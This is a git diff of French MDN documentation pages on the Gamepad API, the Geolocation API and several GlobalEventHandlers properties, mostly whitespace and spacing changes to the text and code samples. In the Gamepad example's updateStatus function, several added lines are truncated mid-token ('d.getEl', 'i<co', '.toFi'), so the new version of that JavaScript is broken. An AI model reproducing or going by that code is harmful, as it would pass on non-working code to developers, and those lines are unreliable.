Cette technique sera utilisée plus tard pour obtenir l'état du périphérique. +Cet exemple montre également comment la propriété `gamepad` peut être conservée après que l'événement se soit terminé. Cette technique sera utilisée plus tard pour obtenir l'état du périphérique. \[PAGE NON TRADUITE DEPUIS ICI...] ## Querying the Gamepad object -As you can see, the **gamepad** events discussed above include a `gamepad` property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires. +As you can see, the **gamepad** events discussed above include a `gamepad` property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires. Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads. @@ -165,7 +165,7 @@ function pollGamepads() { } ``` -Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the `a` and `b` movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of `a` and `b` respectively. This has the effect of moving the ball around the screen. In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions. +Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the `a` and `b` movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of `a` and `b` respectively. This has the effect of moving the ball around the screen. In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions. After all this is done, we use our `rAF` variable to request the next animation frame, running `gameLoop()` again. @@ -213,107 +213,107 @@ This example shows how to use the {{ domxref("Gamepad") }} object, as well as th var haveEvents = 'GamepadEvent' in window; var controllers = {}; var rAF = window.mozRequestAnimationFrame || - window.webkitRequestAnimationFrame || - window.requestAnimationFrame; + window.webkitRequestAnimationFrame || + window.requestAnimationFrame; function connecthandler(e) { - addgamepad(e.gamepad); + addgamepad(e.gamepad); } function addgamepad(gamepad) { - controllers[gamepad.index] = gamepad; var d = document.createElement("div"); - d.setAttribute("id", "controller" + gamepad.index); - var t = document.createElement("h1"); - t.appendChild(document.createTextNode("gamepad: " + gamepad.id)); - d.appendChild(t); - var b = document.createElement("div"); - b.className = "buttons"; - for (var i=0; i<gamepad.buttons.length; i++) { - var e = document.createElement("span"); - e.className = "button"; - //e.id = "b" + i; - e.innerHTML = i; - b.appendChild(e); - } - d.appendChild(b); - var a = document.createElement("div"); - a.className = "axes"; - for (var i=0; i<gamepad.axes.length; i++) { - var e = document.createElement("progress"); - e.className = "axis"; - //e.id = "a" + i; - e.setAttribute("max", "2"); - e.setAttribute("value", "1"); - e.innerHTML = i; - a.appendChild(e); - } - d.appendChild(a); - document.getElementById("start").style.display = "none"; - document.body.appendChild(d); - rAF(updateStatus); + controllers[gamepad.index] = gamepad; var d = document.createElement("div"); + d.setAttribute("id", "controller" + gamepad.index); + var t = document.createElement("h1"); + t.appendChild(document.createTextNode("gamepad: " + gamepad.id)); + d.appendChild(t); + var b = document.createElement("div"); + b.className = "buttons"; + for (var i=0; i<gamepad.buttons.length; i++) { + var e = document.createElement("span"); + e.className = "button"; + //e.id = "b" + i; + e.innerHTML = i; + b.appendChild(e); + } + d.appendChild(b); + var a = document.createElement("div"); + a.className = "axes"; + for (var i=0; i<gamepad.axes.length; i++) { + var e = document.createElement("progress"); + e.className = "axis"; + //e.id = "a" + i; + e.setAttribute("max", "2"); + e.setAttribute("value", "1"); + e.innerHTML = i; + a.appendChild(e); + } + d.appendChild(a); + document.getElementById("start").style.display = "none"; + document.body.appendChild(d); + rAF(updateStatus); } function disconnecthandler(e) { - removegamepad(e.gamepad); + removegamepad(e.gamepad); } function removegamepad(gamepad) { - var d = document.getElementById("controller" + gamepad.index); - document.body.removeChild(d); - delete controllers[gamepad.index]; + var d = document.getElementById("controller" + gamepad.index); + document.body.removeChild(d); + delete controllers[gamepad.index]; } function updateStatus() { - if (!haveEvents) { - scangamepads(); - } - for (j in controllers) { - var controller = controllers[j]; - var d = document.getElementById("controller" + j); - var buttons = d.getElementsByClassName("button"); - for (var i=0; i<controller.buttons.length; i++) { - var b = buttons[i]; - var val = controller.buttons[i]; - var pressed = val == 1.0; - if (typeof(val) == "object") { - pressed = val.pressed; - val = val.value; - } - var pct = Math.round(val * 100) + "%" - b.style.backgroundSize = pct + " " + pct; - if (pressed) { - b.className = "button pressed"; - } else { - b.className = "button"; - } - } - - var axes = d.getElementsByClassName("axis"); - for (var i=0; i<controller.axes.length; i++) { - var a = axes[i]; - a.innerHTML = i + ": " + controller.axes[i].toFixed(4); - a.setAttribute("value", controller.axes[i] + 1); - } - } - rAF(updateStatus); + if (!haveEvents) { + scangamepads(); + } + for (j in controllers) { + var controller = controllers[j]; + var d = document.getElementById("controller" + j); + var buttons = d.getElementsByClassName("button"); + for (var i=0; i<controller.buttons.length; i++) { + var b = buttons[i]; + var val = controller.buttons[i]; + var pressed = val == 1.0; + if (typeof(val) == "object") { + pressed = val.pressed; + val = val.value; + } + var pct = Math.round(val * 100) + "%" + b.style.backgroundSize = pct + " " + pct; + if (pressed) { + b.className = "button pressed"; + } else { + b.className = "button"; + } + } + + var axes = d.getEl + for (var i=0; i<co + var a = axes[i]; + a.innerHTML = i + ": " + controller.axes[i].toFi + a.setAttribute("value", controller.axes[i] + 1); + } + } + rAF(updateStatus); } function scangamepads() { var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []); - for (var i = 0; i < gamepads.length; i++) { - if (gamepads[i]) { - if (!(gamepads[i].index in controllers)) { - addgamepad(gamepads[i]); - } else { - controllers[gamepads[i].index] = gamepads[i]; - } - } - } + for (var i = 0; i < gamepads.length; i++) { + if (gamepads[i]) { + if (!(gamepads[i].index in controllers)) { + addgamepad(gamepads[i]); + } else { + controllers[gamepads[i].index] = gamepads[i]; + } + } + } } window.addEventListener("gamepadconnected", connecthandler); window.addEventListener("gamepaddisconnected", disconnecthandler); if (!haveEvents) { - setInterval(scangamepads, 500); + setInterval(scangamepads, 500); } ``` diff --git a/files/fr/web/api/geolocation/clearwatch/index.md b/files/fr/web/api/geolocation/clearwatch/index.md index e3cf88e859..26f9b600ff 100644 --- a/files/fr/web/api/geolocation/clearwatch/index.md +++ b/files/fr/web/api/geolocation/clearwatch/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Geolocation/clearWatch --- {{ APIref("Geolocation API") }} -La méthode **`Geolocation.clearWatch()`** est utilisée pour libérer les ressources de localisation/erreur créées antérieurement en utilisant {{domxref("Geolocation.watchPosition()")}}. +La méthode **`Geolocation.clearWatch()`** est utilisée pour libérer les ressources de localisation/erreur créées antérieurement en utilisant {{domxref("Geolocation.watchPosition()")}}. ## Syntaxe @@ -21,7 +21,7 @@ La méthode **`Geolocation.clearWatch()`** est utilisée pour libérer les ress ### Paramètres - _id_ - - : Le nombre ID est donné par la méthode qui permet la localisation : {{domxref("Geolocation.watchPosition()")}} ; ressource que vous désirez supprimer. + - : Le nombre ID est donné par la méthode qui permet la localisation : {{domxref("Geolocation.watchPosition()")}} ; ressource que vous désirez supprimer. ## Exemple diff --git a/files/fr/web/api/geolocation/index.md b/files/fr/web/api/geolocation/index.md index 035dbab103..e3d1a83624 100644 --- a/files/fr/web/api/geolocation/index.md +++ b/files/fr/web/api/geolocation/index.md @@ -11,11 +11,11 @@ translation_of: Web/API/Geolocation --- {{APIRef("Geolocation API")}} -En intégrant l'interface **`Geolocation`**, on peut obtenir la position d'un ordinateur, d'un téléphone ou d'une tablette, ce qui permet aux contenus Web d'accéder à leur localisation. Un site internet ou une application mobile peut alors offrir divers services liés à la localisation de l'utilisateur. +En intégrant l'interface **`Geolocation`**, on peut obtenir la position d'un ordinateur, d'un téléphone ou d'une tablette, ce qui permet aux contenus Web d'accéder à leur localisation. Un site internet ou une application mobile peut alors offrir divers services liés à la localisation de l'utilisateur. -On obtient un objet par le biais de cette interface avec la propriété {{domxref("NavigatorGeolocation.geolocation")}} proposée par l'objet {{domxref("Navigator")}} . +On obtient un objet par le biais de cette interface avec la propriété {{domxref("NavigatorGeolocation.geolocation")}} proposée par l'objet {{domxref("Navigator")}} . -> **Note :** Pour des raisons de sécurité, quand une page web tente d'accéder aux données de localisation, l'utilisateur est prévenu, et son accord lui est demandé. Sachez que chaque navigateur a ses propres méthodes et politiques pour gérer les autorisations. +> **Note :** Pour des raisons de sécurité, quand une page web tente d'accéder aux données de localisation, l'utilisateur est prévenu, et son accord lui est demandé. Sachez que chaque navigateur a ses propres méthodes et politiques pour gérer les autorisations. ## Propriétés @@ -23,14 +23,14 @@ _L'interface de géolocalisation n'utilise ou n'hérite d'aucune propriété._ ## Méthodes -_L'interface de géolocalisation n'hérite d'aucune méthode._ +_L'interface de géolocalisation n'hérite d'aucune méthode._ - {{domxref("Geolocation.getCurrentPosition()")}} - - : Determine la position actuelle de l'appareil et donne en retour l'objet {{domxref("Position")}} avec sa valeur. + - : Determine la position actuelle de l'appareil et donne en retour l'objet {{domxref("Position")}} avec sa valeur. - {{domxref("Geolocation.watchPosition()")}} - - : Retourne une valeur `long` représentant la nouvelle fonction callback, créée pour être utilisée à chaque fois que la position de l'appareil change. + - : Retourne une valeur `long` représentant la nouvelle fonction callback, créée pour être utilisée à chaque fois que la position de l'appareil change. - {{domxref("Geolocation.clearWatch()")}} - - : Supprime le lien créé par la précédente utilisation de `watchPosition()`. + - : Supprime le lien créé par la précédente utilisation de `watchPosition()`. ## Spécifications diff --git a/files/fr/web/api/geolocation/watchposition/index.md b/files/fr/web/api/geolocation/watchposition/index.md index 71ed0cfc2c..d09d9d224a 100644 --- a/files/fr/web/api/geolocation/watchposition/index.md +++ b/files/fr/web/api/geolocation/watchposition/index.md @@ -12,9 +12,9 @@ translation_of: Web/API/Geolocation/watchPosition --- {{ APIref("Geolocation API") }} -La méthode **`Geolocation.watchPosition()`** permet de manipuler une fonction appelée automatiquement à chaque fois que la position de l'appareil change. Vous pouvez de même, en option, manipuler une autre fonction appelée automatiquement pour gérer les erreurs. +La méthode **`Geolocation.watchPosition()`** permet de manipuler une fonction appelée automatiquement à chaque fois que la position de l'appareil change. Vous pouvez de même, en option, manipuler une autre fonction appelée automatiquement pour gérer les erreurs. -Cette méthode retourne une valeur ID de veille qui permet de libérer les fonctions déclarées automatiquement, évoquées précédemment, à l'aide de la méthode {{domxref("Geolocation.clearWatch()")}}. +Cette méthode retourne une valeur ID de veille qui permet de libérer les fonctions déclarées automatiquement, évoquées précédemment, à l'aide de la méthode {{domxref("Geolocation.clearWatch()")}}. ## Syntaxe @@ -23,7 +23,7 @@ Cette méthode retourne une valeur ID de veille qui permet de libérer les fonct ### Paramètres - _success_ - - : Nom d'une fonction appelée qui a pour paramètre l'objet {{domxref("Position")}}. + - : Nom d'une fonction appelée qui a pour paramètre l'objet {{domxref("Position")}}. - _error_ {{optional_inline}} - : Nom d'une fonction optionnelle qui a pour paramètre l'objet {{domxref("PositionError")}}. - _options_ {{optional_inline}} @@ -61,7 +61,7 @@ options = { id = navigator.geolocation.watchPosition(success, error, options); ``` -> **Note :** Si votre application fonctionne sous Firefox OS, veillez à la [geolocation wake lock](</en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()>) pour que votre application continue à recevoir les changements de positions si votre application tourne en tâche de fond, ou si votre écran est éteint. +> **Note :** Si votre application fonctionne sous Firefox OS, veillez à la [geolocation wake lock](</en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()>) pour que votre application continue à recevoir les changements de positions si votre application tourne en tâche de fond, ou si votre écran est éteint. ## Spécifications diff --git a/files/fr/web/api/geolocationpositionerror/index.md b/files/fr/web/api/geolocationpositionerror/index.md index 0a03eb4bee..988b078756 100644 --- a/files/fr/web/api/geolocationpositionerror/index.md +++ b/files/fr/web/api/geolocationpositionerror/index.md @@ -17,7 +17,7 @@ _L'interface `GeolocationPositionError` n'hérite d'aucune propriété._ | Valeur | Constante associée | Description | | ------ | ---------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | - | `1` | `PERMISSION_DENIED` | L’acquisition de la position échoue car la page n'a pas l'autorisation de le faire. | + | `1` | `PERMISSION_DENIED` | L’acquisition de la position échoue car la page n'a pas l'autorisation de le faire. | | `2` | `POSITION_UNAVAILABLE` | L’acquisition de la localisation échoue car au moins une source donnant la position a retourné une erreur interne. | | `3` | `TIMEOUT` | Le temps alloué pour obtenir la position défini par {{domxref("PositionOptions.timeout")}} est écoulé avant que l'information soit obtenu. | diff --git a/files/fr/web/api/globaleventhandlers/index.md b/files/fr/web/api/globaleventhandlers/index.md index 816fd6e0e6..c260b68027 100644 --- a/files/fr/web/api/globaleventhandlers/index.md +++ b/files/fr/web/api/globaleventhandlers/index.md @@ -115,7 +115,7 @@ Les propriétés des évènements, de la forme `onXYZ`, sont définies sur {{dom - {{domxref("GlobalEventHandlers.onmouseup")}} - : est un {{event("Event_handlers", "event handler")}} (_gestionnaire d'évènements_) représentant le code à appeler lorsque l'événement {{event("mouseup")}} est déclenché. - {{domxref("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}} - - : est un {{event("Event_handlers", "event handler")}} (_gestionnaire d'évènements_) représentant le code à appeler lorsque l'événement {{event("mousewheel")}} est déclenché. Déprécié. Utiliser `onwheel` à la place. + - : est un {{event("Event_handlers", "event handler")}} (_gestionnaire d'évènements_) représentant le code à appeler lorsque l'événement {{event("mousewheel")}} est déclenché. Déprécié. Utiliser `onwheel` à la place. - {{ domxref("GlobalEventHandlers.onwheel") }} - : est un {{event("Event_handlers", "event handler")}} (_gestionnaire d'évènements_) représentant le code à appeler lorsque l'événement {{event("wheel")}} est déclenché. - {{domxref("GlobalEventHandlers.onpause")}} diff --git a/files/fr/web/api/globaleventhandlers/onabort/index.md b/files/fr/web/api/globaleventhandlers/onabort/index.md index 85348853fa..6ac2842916 100644 --- a/files/fr/web/api/globaleventhandlers/onabort/index.md +++ b/files/fr/web/api/globaleventhandlers/onabort/index.md @@ -11,11 +11,11 @@ translation_of: Web/API/GlobalEventHandlers/onabort --- {{ ApiRef("HTML DOM") }} -Un gestionnaire d'évènement pour interrompre les événements envoyés à la fenêtre. (non disponible sur Firefox 2 ou Safari). +Un gestionnaire d'évènement pour interrompre les événements envoyés à la fenêtre. (non disponible sur Firefox 2 ou Safari). Bien que le [standard pour l'abandon d'un chargement de document](https://html.spec.whatwg.org/multipage/browsing-the-web.html#abort-a-document) soit défini, le problème HTML N° 3525 suggère que les navigateurs ne déclenchent pas pour l'instant l'événement "abort" sur une `window` qui déclencherait un appel à `onabort`. -À FAIRE : définir ce qu'est "interrompre" : fermer la fenêtre via le gestionnaire de fenêtre ? Arrêter le chargement de la page ? Par quels moyens et pour quelles raisons (utilisateur, réseau/serveur) ? À quelle étape cela devrait-il se déclencher / être capturé ? Pour IE, onabort est seulement disponible pour les balises `img`. +À FAIRE : définir ce qu'est "interrompre" : fermer la fenêtre via le gestionnaire de fenêtre ? Arrêter le chargement de la page ? Par quels moyens et pour quelles raisons (utilisateur, réseau/serveur) ? À quelle étape cela devrait-il se déclencher / être capturé ? Pour IE, onabort est seulement disponible pour les balises `img`. ## Syntaxe @@ -35,7 +35,7 @@ window.onabort = function() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/globaleventhandlers/onblur/index.md b/files/fr/web/api/globaleventhandlers/onblur/index.md index 1ae6bb272a..286ccc3d95 100644 --- a/files/fr/web/api/globaleventhandlers/onblur/index.md +++ b/files/fr/web/api/globaleventhandlers/onblur/index.md @@ -16,7 +16,7 @@ La propriété **onblur** renvoie le gestionnaire de l'évènement `blur` (perte element.onblur = nomFonctionUtilisateur; -- `nomFonctionUtilisateur` est le nom de la fonction utilisateur préalablement définie, sans les parenthèses ni aucun argument. Il est également possible de déclarer une « fonction anonyme », comme : +- `nomFonctionUtilisateur` est le nom de la fonction utilisateur préalablement définie, sans les parenthèses ni aucun argument. Il est également possible de déclarer une « fonction anonyme », comme : <!----> @@ -26,7 +26,7 @@ La propriété **onblur** renvoie le gestionnaire de l'évènement `blur` (perte ### Exemple -Lorsqu'une zone de saisie n'est plus active suite à une perte du « focus », une boîte de message (alert) est affichée. +Lorsqu'une zone de saisie n'est plus active suite à une perte du « focus », une boîte de message (alert) est affichée. ```html <form> @@ -37,7 +37,7 @@ Lorsqu'une zone de saisie n'est plus active suite à une perte du « focus », var elem = document.getElementById("foo"); -// Attention : afficherMessage(); ou afficherMessage(param); ne fonctionneront pas ici, +// Attention : afficherMessage(); ou afficherMessage(param); ne fonctionneront pas ici, // il doit s'agir d'une référence au nom d'une fonction et non d'un appel de cette fonction elem.onblur = afficherMessage; diff --git a/files/fr/web/api/globaleventhandlers/onchange/index.md b/files/fr/web/api/globaleventhandlers/onchange/index.md index bb1eff3e49..669a38b5d6 100644 --- a/files/fr/web/api/globaleventhandlers/onchange/index.md +++ b/files/fr/web/api/globaleventhandlers/onchange/index.md @@ -19,7 +19,7 @@ La propriété `onchange` définit et renvoie le gestionnaire d'évènement `onC ### Notes -Le pseudo code suivant illustre la manière dont le gestionnaire d'évènement `change` est implémenté dans Mozilla : +Le pseudo code suivant illustre la manière dont le gestionnaire d'évènement `change` est implémenté dans Mozilla : control.onfocus = focus; control.onblur = blur; @@ -28,7 +28,7 @@ Le pseudo code suivant illustre la manière dont le gestionnaire d'évènement ` } function blur () { - if (control.value != original_value) + if (control.value != original_value) control.onchange(); } @@ -40,4 +40,4 @@ Par conséquent, vous pouvez rencontrer des comportements inattendus dans l'év ### Voir aussi -- [DOM Level 2: HTML event types](http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings-htmlevents) — traduction en français (non normative) : [DOM Niveau 2 Events : Les types d'événements HTML](http://www.yoyodesign.org/doc/w3c/dom2-events/events.html#Events-eventgroupings-htmlevents) +- [DOM Level 2: HTML event types](http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings-htmlevents) — traduction en français (non normative) : [DOM Niveau 2 Events : Les types d'événements HTML](http://www.yoyodesign.org/doc/w3c/dom2-events/events.html#Events-eventgroupings-htmlevents) diff --git a/files/fr/web/api/globaleventhandlers/onclick/index.md b/files/fr/web/api/globaleventhandlers/onclick/index.md index 3c09f4fd85..b2df3b5bc4 100644 --- a/files/fr/web/api/globaleventhandlers/onclick/index.md +++ b/files/fr/web/api/globaleventhandlers/onclick/index.md @@ -15,7 +15,7 @@ La propriété **onclick** représente le gestionnaire d'évènement onClick de où _functionRef_ est une fonction ou une expression de type _function._ Consulter la [référence des fonctions](/en-US/docs/JavaScript/Reference/Functions_and_function_scope) pour plus de détails. -Le paramètre fourni au gestionnaire d'évènement _functionRef_ lors du déclenchement de l'évènement est un objet qui représente l'évènement de click, de type {{ domxref("MouseEvent") }}. +Le paramètre fourni au gestionnaire d'évènement _functionRef_ lors du déclenchement de l'évènement est un objet qui représente l'évènement de click, de type {{ domxref("MouseEvent") }}. ### Exemple diff --git a/files/fr/web/api/globaleventhandlers/onclose/index.md b/files/fr/web/api/globaleventhandlers/onclose/index.md index bf698535b2..a577479e5b 100644 --- a/files/fr/web/api/globaleventhandlers/onclose/index.md +++ b/files/fr/web/api/globaleventhandlers/onclose/index.md @@ -31,4 +31,4 @@ window.onclose = resetThatServerThing; | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}} | {{Spec2('HTML WHATWG')}} | | diff --git a/files/fr/web/api/globaleventhandlers/ondblclick/index.md b/files/fr/web/api/globaleventhandlers/ondblclick/index.md index db9380a8bd..a4ecb0a523 100644 --- a/files/fr/web/api/globaleventhandlers/ondblclick/index.md +++ b/files/fr/web/api/globaleventhandlers/ondblclick/index.md @@ -17,7 +17,7 @@ La propriété **ondblclick** renvoie le gestionnaire d'évènement `dblclick` d element.ondblclick = nomDeFonction; -- `nomDeFonction` est le nom d'une fonction définie par l'utilisateur, sans les parenthèses ni aucun paramètre. Il peut également s'agir d'une déclaration de fonction anonyme, comme : +- `nomDeFonction` est le nom d'une fonction définie par l'utilisateur, sans les parenthèses ni aucun paramètre. Il peut également s'agir d'une déclaration de fonction anonyme, comme : <!----> @@ -35,7 +35,7 @@ La propriété **ondblclick** renvoie le gestionnaire d'évènement `dblclick` d function initElement() { var p = document.getElementById("foo"); - // Attention : showAlert(); ou showAlert(param); ne fonctionneront pas ici, + // Attention : showAlert(); ou showAlert(param); ne fonctionneront pas ici, // il doit s'agir d'une référence à un nom de fonction, pas un appel de fonction. p.ondblclick = showAlert; }; diff --git a/files/fr/web/api/globaleventhandlers/onerror/index.md b/files/fr/web/api/globaleventhandlers/onerror/index.md index 0da6eab128..860a5f2b41 100644 --- a/files/fr/web/api/globaleventhandlers/onerror/index.md +++ b/files/fr/web/api/globaleventhandlers/onerror/index.md @@ -10,14 +10,14 @@ translation_of: Web/API/GlobalEventHandlers/onerror --- {{ApiRef("HTML DOM")}} -Un [gestionnaire d'événement](/en-US/docs/Web/Guide/Events/Event_handlers) pour l'événement [`error`](/en-US/docs/Web/Events/error). Des événements d'erreur sont déclenchés vers diverses cibles et pour différents types d'erreurs: +Un [gestionnaire d'événement](/en-US/docs/Web/Guide/Events/Event_handlers) pour l'événement [`error`](/en-US/docs/Web/Events/error). Des événements d'erreur sont déclenchés vers diverses cibles et pour différents types d'erreurs: -- Lorsqu'une **erreur de runtime JavaScript** se produit (erreurs de syntaxe comprises), un évènement [`error`](/en-US/docs/Web/Events/error) utilisant l'interface {{domxref("ErrorEvent")}} est envoyé à {{domxref("window")}}, et `window.onerror()` est appelé. -- Lorsque le **chargement d'une ressource** (telle que {{HTMLElement("img")}} ou {{HTMLElement("script")}}) **échoue**, un événement [`error`](/en-US/docs/Web/Events/error) utilisant l'interface {{domxref("Event")}} est déclenché sur l'élément qui a initié le chargement, et le gestionnaire `onerror()` de l'élément est invoqué. Ces évènements d'erreur ne remontent pas à window, mais (au moins dans FireFox) ils peuvent être gérés par une unique capture {{domxref("window.addEventListener")}}. +- Lorsqu'une **erreur de runtime JavaScript** se produit (erreurs de syntaxe comprises), un évènement [`error`](/en-US/docs/Web/Events/error) utilisant l'interface {{domxref("ErrorEvent")}} est envoyé à {{domxref("window")}}, et `window.onerror()` est appelé. +- Lorsque le **chargement d'une ressource** (telle que {{HTMLElement("img")}} ou {{HTMLElement("script")}}) **échoue**, un événement [`error`](/en-US/docs/Web/Events/error) utilisant l'interface {{domxref("Event")}} est déclenché sur l'élément qui a initié le chargement, et le gestionnaire `onerror()` de l'élément est invoqué. Ces évènements d'erreur ne remontent pas à window, mais (au moins dans FireFox) ils peuvent être gérés par une unique capture {{domxref("window.addEventListener")}}. ## Syntaxe -Pour des raisons historiques, des arguments différents sont passés aux gestionnaires `window.onerror` et `element.onerror`. +Pour des raisons historiques, des arguments différents sont passés aux gestionnaires `window.onerror` et `element.onerror`. ### window\.onerror @@ -25,23 +25,23 @@ Pour des raisons historiques, des arguments différents sont passés aux gestio window.onerror = function(messageOrEvent, source, noligne, nocolonne, erreur) { ... } ``` -Paramètres de la fonction : +Paramètres de la fonction : - `message` : message d'erreur (chaîne ou objet évènement). Disponible comme `event` (sic !) dans le gestionnaire de HTML `onerror=""`. - source : l'URL du script où l'erreur a été déclenchée (chaîne) -- noligne : le numéro de ligne où l'erreur a été déclenchée (nombre) -- nocolonne : le numéro de colonne où l'erreur a été déclenchée (nombre) -- erreur : un [Error Object](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error) (objet) {{gecko_minversion_inline("31.0")}} +- noligne : le numéro de ligne où l'erreur a été déclenchée (nombre) +- nocolonne : le numéro de colonne où l'erreur a été déclenchée (nombre) +- erreur : un [Error Object](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error) (objet) {{gecko_minversion_inline("31.0")}} -### element.onerror (et `window.addEventListener('error')`) +### element.onerror (et `window.addEventListener('error')`) element.onerror = function(event) { ... } -`element.onerror` accepte une fonction avec un argument unique de type {{domxref("Event")}}. +`element.onerror` accepte une fonction avec un argument unique de type {{domxref("Event")}}. ## Notes -Quand une erreur de syntaxe**(?)** se produit dans un script chargé à partir d'une [origine différente](/en-US/docs/Web/Security/Same-origin_policy), les détails de l'erreur de syntaxe ne sont pas rapportés, afin de prévenir la fuite d'information (voir {{bug("363897")}}). A la place, l'erreur est simplement reportée en tant que **`"Script error"`**. Ce comportement peut être surchargé par certains navigateurs en utilisant l'attribut `{{htmlattrxref("crossorigin","script")}}` de {{HTMLElement("script")}} et en faisant en sorte que le serveur envoie les entêtes de réponse [CORS](/en-US/docs/Web/HTTP/Access_control_CORS) HTTP appropriés. Un contournement consiste à isoler "Script error" et à la gérer en sachant que les détails de l'erreur ne sont visibles que la console du navigateur et non accessibles en JavaScript. +Quand une erreur de syntaxe**(?)** se produit dans un script chargé à partir d'une [origine différente](/en-US/docs/Web/Security/Same-origin_policy), les détails de l'erreur de syntaxe ne sont pas rapportés, afin de prévenir la fuite d'information (voir {{bug("363897")}}). A la place, l'erreur est simplement reportée en tant que **`"Script error"`**. Ce comportement peut être surchargé par certains navigateurs en utilisant l'attribut `{{htmlattrxref("crossorigin","script")}}` de {{HTMLElement("script")}} et en faisant en sorte que le serveur envoie les entêtes de réponse [CORS](/en-US/docs/Web/HTTP/Access_control_CORS) HTTP appropriés. Un contournement consiste à isoler "Script error" et à la gérer en sachant que les détails de l'erreur ne sont visibles que la console du navigateur et non accessibles en JavaScript. window.onerror = function (msg, url, noLigne, noColonne, erreur) { var chaine = msg.toLowerCase(); @@ -63,13 +63,13 @@ Quand une erreur de syntaxe**(?)** se produit dans un script chargé à parti return false; }; -Lors de l'utilisation du balisage html intégré (\<body onerror="alert('une erreur est survenue')>...), la spécification HTML requiert que les arguments passés à `onerror` soient nommés `event`, `source`, `lineno`, `colno`, `error`. Dans les navigteurs qui n'ont pas implémenté cette obligation, ils peuvent toujours être obtenus via `arguments[0]` à `arguments[2]`. +Lors de l'utilisation du balisage html intégré (\<body onerror="alert('une erreur est survenue')>...), la spécification HTML requiert que les arguments passés à `onerror` soient nommés `event`, `source`, `lineno`, `colno`, `error`. Dans les navigteurs qui n'ont pas implémenté cette obligation, ils peuvent toujours être obtenus via `arguments[0]` à `arguments[2]`. ## Spécifications | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG','webappapis.html#handler-onerror','onerror')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG','webappapis.html#handler-onerror','onerror')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.md b/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.md index 5401fc38c2..d5fa8d43f1 100644 --- a/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.md +++ b/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.md @@ -31,7 +31,7 @@ function init() { | Spécification | Status | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ----------- | -| {{SpecName('Pointer Events 2', '#the-gotpointercapture-event', 'onlostpointercapture')}} | {{Spec2('Pointer Events 2')}} | | +| {{SpecName('Pointer Events 2', '#the-gotpointercapture-event', 'onlostpointercapture')}} | {{Spec2('Pointer Events 2')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/globaleventhandlers/onreset/index.md b/files/fr/web/api/globaleventhandlers/onreset/index.md index 8227bf6d7a..31c306baa8 100644 --- a/files/fr/web/api/globaleventhandlers/onreset/index.md +++ b/files/fr/web/api/globaleventhandlers/onreset/index.md @@ -40,7 +40,7 @@ function hit() { <form> <input type="reset" value="reset" /> </form> - <div id="d"> </div> + <div id="d"> </div> </body> </html> ``` @@ -53,7 +53,7 @@ L'évènement `reset` est déclenché quand l'utilisateur clique sur le bouton d | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG','webappapis.html#handler-onreset','onreset')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG','webappapis.html#handler-onreset','onreset')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/globaleventhandlers/onresize/index.md b/files/fr/web/api/globaleventhandlers/onresize/index.md index 3ee94157c2..b18387cce1 100644 --- a/files/fr/web/api/globaleventhandlers/onresize/index.md +++ b/files/fr/web/api/globaleventhandlers/onresize/index.md @@ -59,7 +59,7 @@ window.onresize = sayHi; ### Notes -Un attribut onresize peut être placé sur n'importe quel élément, mais seul l'objet `window` possède un évènement sur le 